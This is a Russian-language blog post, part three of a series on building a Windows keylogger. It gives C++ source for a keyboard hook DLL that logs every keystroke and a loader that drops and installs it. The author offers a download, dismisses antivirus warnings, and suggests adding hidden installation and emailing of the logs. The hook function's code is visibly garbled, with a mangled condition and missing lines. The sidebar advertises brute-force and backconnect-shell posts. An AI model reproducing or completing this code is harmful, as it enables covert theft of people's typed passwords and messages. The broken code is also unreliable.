keyboard 6 300x224 Кейлоггер 3Сегодня я хотел бы завершить цикл статей о написании своего кейлоггера. Для того, чтобы никто не наломал много дров с помощью представленного исходника кейлоггер я сделал локальны, но при желании вы сможете прикрутить к нему установку и отправку логов по почте (с помощью CMailSend — который лежит на нашем блоге). Все это делается буквально на коленке в течении часа.

Основной смысл DLL заключен в этой функции:

LRESULT CALLBACK KBHook(int code, WPARAM wParam, LPARAM lParam)
{       
        if(code == HC_ACTION && (lParam | (11&&(strcmp(szKeyName,"Shift")!=0)&&(strcmp(szKeyName,"Space")!=0)&&(strcmp(szKeyName,"Alt")!=0)&&(strncmp(szKeyName,"Num",3)!=0))
                {
                        char szWriteKey[0x100] = {0};
                        sprintf(szWriteKey,"[%s]",szKeyName);
                        MsWrite(szWriteKey);
                }
                else if(ToAscii(wParam,scancode,keyState,&bykva,0) == 1)
                {
                        char szCode[0x100] = {0};
                        sprintf(szCode,"%c",char(bykva));
                        if(szCode[0] == 0x0D)
                                MsWrite("[NumPad Enter]");
                        else
                                MsWrite(szCode);
                }

        }
        return 0;
}

Что же здесь творится? А творится здес следущее — эта функция будет вызыватся при каждом нажатии любой клавиши. Дальше мы фильтруем сигнал на то — что это именно нажатие, а не отпускание, ведь события то проходят разные. Если мы этого делать не будем то буквы будут повторятся в логе, что не есть гуд. Дальше, мы вызываем процедуру записи хидера лога, что позволяет нам понять где и когда нажали кнопку. Получаем виртуальный код клавиши и состояние клавиатуры, затем, чтобы потом присунуть их в функцию ToAscii которая и вернет нам какая кнопка была нажата, и в какой раскладке. Здесь используется функция GetKeyNameText — она получает имя кнопочки, и если оно длиннее одного символа — то значит это какая-либо управляющая клавиша, которую нужно обрабатывать не как кнопку. То есть запихать в лог ее полное название (к прим. [Esc]). Вот кажется и все. Это самая главная функция в библиотеке. Сама программа-кейлоггер изнутри выглядит так:

char *dllpath = "hooker.dll";
        HANDLE hFile = CreateFile(dllpath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,NULL,NULL);
        if(hFile!=INVALID_HANDLE_VALUE)
        {
                HRSRC hRes = FindResource(NULL,MAKEINTRESOURCE(IDR_BIN),"BIN");
                DWORD dwResSize = SizeofResource(NULL,hRes);
                HGLOBAL hgRes = LoadResource(NULL,hRes);
                LPVOID p = LockResource(hgRes);
                DWORD dwW;
                WriteFile(hFile,p,dwResSize,&dwW,NULL);
                UnlockResource(p);
        }
        CloseHandle(hFile);

        typedef void (*_SetHook)(void);
        _SetHook SetHook = (_SetHook)GetProcAddress(LoadLibrary(dllpath),"SetHook");
        SetHook();
//продолжение следует....

Собственно я опустил последующий код только потому что он каркасный и интереса не представляет. Здесь мы сначала пробуем открыть новый файл, если файла не существует, то потом получаем ресурс — это наша библиотека, получаем его размер, и записываем в файл, в конце в любом случае закрываем файл. После этих манипуляций по изъятию из себя помощника мы объявляем прототип функции установки, получаем ее адрес, и вызываем ее. Вот теперь все. Внимание! Антивирусы будут ругатся на прилагаемый файл, но don’t worry ничего страшного, ибо это кейлоггер! Если уж совсем боитесь, то смотрите только сорцы. Скачать тут: keylogger

tt twitter big4 Кейлоггер 3 tt digg big4 Кейлоггер 3 tt facebook big4 Кейлоггер 3 tt gmail big4 Кейлоггер 3 tt myspace big4 Кейлоггер 3 tt reddit big4 Кейлоггер 3

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++